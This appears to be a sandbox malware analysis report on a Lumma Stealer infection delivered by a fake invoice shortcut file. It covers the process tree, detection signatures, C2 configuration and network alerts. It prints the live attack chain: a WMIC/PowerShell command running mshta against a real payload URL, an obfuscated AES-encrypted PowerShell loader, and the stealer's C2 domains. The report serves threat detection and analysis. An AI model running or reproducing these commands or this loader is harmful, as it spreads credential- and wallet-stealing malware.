Edit tour

Windows Analysis Report
InvoiceNr274728.pdf.lnk

Overview

General Information

Sample name:	InvoiceNr274728.pdf.lnk
Analysis ID:	1576131
MD5:	a8bb763a94282ef70317e2a963222c83
SHA1:	b807a016a1bb5a707b1b6a4b43c8277128d6aa5a
SHA256:	77241fd91e48e51e517923885ba0b263b83b622a4304e6c9ccc6aec24ebff59b
Tags:	lnkLummaStealeruser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Windows shortcut file (LNK) starts blacklisted processes

Yara detected AntiVM3

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to create processes via WMI

Creates processes via WMI

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found many strings related to Crypto-Wallets (likely being stolen)

Injects code into the Windows Explorer (explorer.exe)

LummaC encrypted strings found

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Powershell drops PE file

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Process Created Via Wmic.EXE

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses an obfuscated file name to hide its real file extension (double extension)

Windows shortcut file (LNK) contains suspicious command line arguments

Writes to foreign memory regions

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

WMIC.exe (PID: 6496 cmdline: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler" MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

conhost.exe (PID: 6204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4308 cmdline: powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1436 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7112 cmdline: "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 1892 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Create();$Cfy.Key = HTJ($ddg.SubString(2656));$Cfy.IV = New-Object byte[] 16;$lYnMwi = $Cfy.CreateDecryptor();$hDJjjmSW = [System.String]::new($lYnMwi.TransformFinalBlock($TSqhDzeQ, 0,$TSqhDzeQ.Length)); sal fd $hDJjjmSW.Substring(3,3); fd $hDJjjmSW.Substring(6) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4852 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\KlarnaInvoice42611.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7384 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7544 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,11053159209440612448,1965292179888694610,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

JIKJCBEX.exe (PID: 8188 cmdline: "C:\Users\user\AppData\Roaming\JIKJCBEX.exe" MD5: AD0D6C4462BD810C17DBDBA9E8556B69)

pyexec.exe (PID: 7624 cmdline: "C:\Users\user\AppData\Local\Temp\pyexec.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)

pyexec.exe (PID: 2276 cmdline: C:\Users\user\AppData\Roaming\DebugCloud\pyexec.exe MD5: B6F6C3C38568EE26F1AC70411A822405)

cmd.exe (PID: 6220 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 4456 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: DD6597597673F72E10C9DE7901FBA0A8)

svchost.exe (PID: 7160 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wrathful-jammy.cyou", "deafeninggeh.biz", "sordid-snaked.cyou", "awake-weaves.cyou", "abrasigehs.my", "diffuculttan.xyz", "effecterectz.xyz", "immureprech.biz", "debonairnukk.xyz"], "Build id": "AB15g1--NEWBuild"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.3107275782.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3108211870.0000000002A9F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3028941113.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3029295383.0000000002B09000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3029187788.0000000002B08000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3028941113.0000000002B01000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3030211011.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.3053185280.0000000002A9D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: explorer.exe PID: 4456	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: explorer.exe PID: 4456	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: explorer.exe PID: 4456	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: explorer.exe PID: 4456	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, CommandLine: "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4308, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\mshta.exe" https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, ProcessId: 7112, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Create();$Cfy.Key = HTJ($ddg.SubString(2656));$

Sigma detected: Suspicious Process Created Via Wmic.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler", CommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler", ProcessId: 6496, ProcessName: WMIC.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'FADE726EC81DFD3F47037F042EF8401DB0C673AC82C7F07CF239824D9F13D31CC34A48159523B6240876804D8D0F45C63B7F305BF972561BB383C5DE1B212EAEBD9393828392ADF2F0C818B7C81E13305EE79AC57BB28F88705407339B5E331A1824C5337405F9B12C273C290266C194F7A0705F30051A6E32F2ACD43AF7923BC2036005AC59EB511359204F6F4BCDE3B99ABD800A9A63459862B8E84CD0BA528D00AF332E9705A4A27397E9A17C7E3903032E2DC488DB38B105DA51E446807BA7E2217F53F814D7DFF388025E85364B295A3466FC47DC34CB0CF84AFBDE42CEECC66AA2D82525AAD120AEC3E369E138BFF16B98DE2DCB99CC038EAE530A4450E055785F11F93F9626451FFA2C582FD31260CBA4ABF728B5D2A43B2B77EBAC5A1FF29B98F13FEACF472C707190216C4478A13BF872160916AF8A462C7AC1AE7AA399014F5D33F9416D3651C53350743316460F1A7EFF440BD1F9CB3133972EC1C0F373037663FF8A202817FAF61A0674B405719CB346D01663DEF90FF161DCE0E427F7BADFEBEA79D7633684FD9BCAB66AE2AE94DDEC44D348F21BCB33B4F1EAE78FF4D7A0896AE9CBBDA4E387B16B1C4867EC2F10BD2DFB713BF84DB14174254CFA25119AB9F800B3868CF767D6B5461D28FC1A0888C9B0CB9CC6F97DF8C2B7F119C86D2CBE1FEEECD69064518B70102CEA17AB2C66975FA7A2A64BA1D939D5541723AE5C75044F34859DC3AEE9ADA2A419E34CF6DF00B386A7E1B92577372F96968261C1AC2F7CB98088E1235048E0FB9B37F514BE3B4E708239582199DEACF1415C3D828FCF7DEE962560ED66CE2E9E7907F7D52A62A581F449E9F43846CB63BAE8AD8AD8E177603D18459090021C4BDF04EB239533E7A99FE772F2925BD36168A8814F84FC40CD27CEA9D936C4E156E8AD7F85B04571885A70F150A84EE636856A89A7323443184A571298FED07482FF23AE216F255FB19E0056109F6B6890B5E7E6196667BDAA81489F138F67E20AFF0C8C58A47A941C9D21B94EFF4A33CBC64867BFA2423D63E39129781093CAE93E0453886976453E45E222EF0E53AF30A48879BDC920DE28BCE07A4ED4CE62B1557204D44D889786856B66730DAA95F6520D040754A319074C680FEDAE9B63BC73DB7310260ADE941A00BBCE675EB12CAF9C7DBF5B331DF9EB756037D0DE05CD36FC513395FA62DF03DAF6A4C83576ADCF4C33DB24C9920BA435961E36AFFD378E582FB4151B719CA9C6798884F052D9FFFD747C4679721E7C66CB9ACF43FF576714A6C9096518C0D730955D0890DBC5A98331CF010619F2C726E3830B4E1C94E8506DDACD7CFB8A84AE989FF3C728F7E6363835F270B1CADA419955C8D42D62BAE3AFB5ECF21925BB61CF4803120404764AA4FEF6DC8DF4512AF02BD6568A38F637046B5BD8FD212D338094975D5DCAED466E53F522DF22A4326708A095AA8538E09F426F64DC861782240CB6B8D20F883A5248E178A706293976065E3276D513D6B1FAF2EA5142F90300841BAD80EB5FB1C07AA4061840A5AC3559542293DD6B7E4212543BDD248AE78ACD7BC131238B3C705EC8EC0D4535BC65C834230BB53E53AAEAFA4A8B4CE2E0ABD625A6D7802C5AFD2FA5B18D582BD1C3D1A33D90D3E1A890CC51A9C57287CF4165605F2CD6CDCEF6EBAF8C0063A91E858750BFB4696FAF3CAF17FCA2EDFDE6724E4958135F8D76EDDA689330F8180F43E854C39D664880B15B184117D41B5322A99C5AB72FDD6DCFC1E700A4F86B4C906CD33C2D936757441CEA48684509ECE38638E9BA8BE586092AB58DE22A995D7684DDC8C996A30503F5934BC7F7C4B1E4B1F439662C19389ADB94FD8C1E12F3CB0FE7E6186E52734D69526F786E45487442746C4D';function HTJ ($ExbsR){return -split ($ExbsR -replace '..', '0x$& ')};$TSqhDzeQ = HTJ($ddg.SubString(0, 2656));$Cfy = [System.Security.Cryptography.Aes]::Create();$Cfy.Key = HTJ($ddg.SubString(2656));$

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1892, TargetFilename: C:\Users\user\AppData\Roaming\JIKJCBEX.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, CommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 6496, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 . \W*\S*2\m*ht*e https://agrizone.ae/wp-content/plugins/jetpack/modules/markdown/jetpackhandler, ProcessId: 4308, ProcessName: powershell.exe

Sigma detected: Proxy Execution Via Explorer.exe

Source: Process started

Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative: Data: Command: C:\Windows\SysWOW64\explorer.exe, CommandLine: C:\Windows\SysWOW64\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\explorer.exe, NewProcessName: C:\Windows\SysWOW64\explorer.exe, OriginalFileName: C:\Windows\SysWOW64\explorer.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6220, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\explorer.exe, ProcessId: 4456, ProcessName: explorer.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7160, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:26.271811+0100	2028371	3	Unknown Traffic	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:28.505807+0100	2028371	3	Unknown Traffic	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:31.054078+0100	2028371	3	Unknown Traffic	192.168.2.5	49887	104.21.64.1	443	TCP
2024-12-16T15:19:33.285661+0100	2028371	3	Unknown Traffic	192.168.2.5	49893	104.21.64.1	443	TCP
2024-12-16T15:19:35.606976+0100	2028371	3	Unknown Traffic	192.168.2.5	49899	104.21.64.1	443	TCP
2024-12-16T15:19:38.842602+0100	2028371	3	Unknown Traffic	192.168.2.5	49908	104.21.64.1	443	TCP
2024-12-16T15:19:41.072706+0100	2028371	3	Unknown Traffic	192.168.2.5	49914	104.21.64.1	443	TCP
2024-12-16T15:19:44.388970+0100	2028371	3	Unknown Traffic	192.168.2.5	49922	104.21.64.1	443	TCP

ET MALWARE EXE Download Request To Wordpress Folder Likely Malicious

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:18:12.071639+0100	2021697	1	A Network Trojan was detected	192.168.2.5	49708	208.91.198.106	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:27.276753+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49873	104.21.64.1	443	TCP
2024-12-16T15:19:29.270458+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49879	104.21.64.1	443	TCP
2024-12-16T15:19:45.180473+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49922	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:27.276753+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49873	104.21.64.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T15:19:29.270458+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49879	104.21.64.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (abrasigehs .my in TLS SNI)

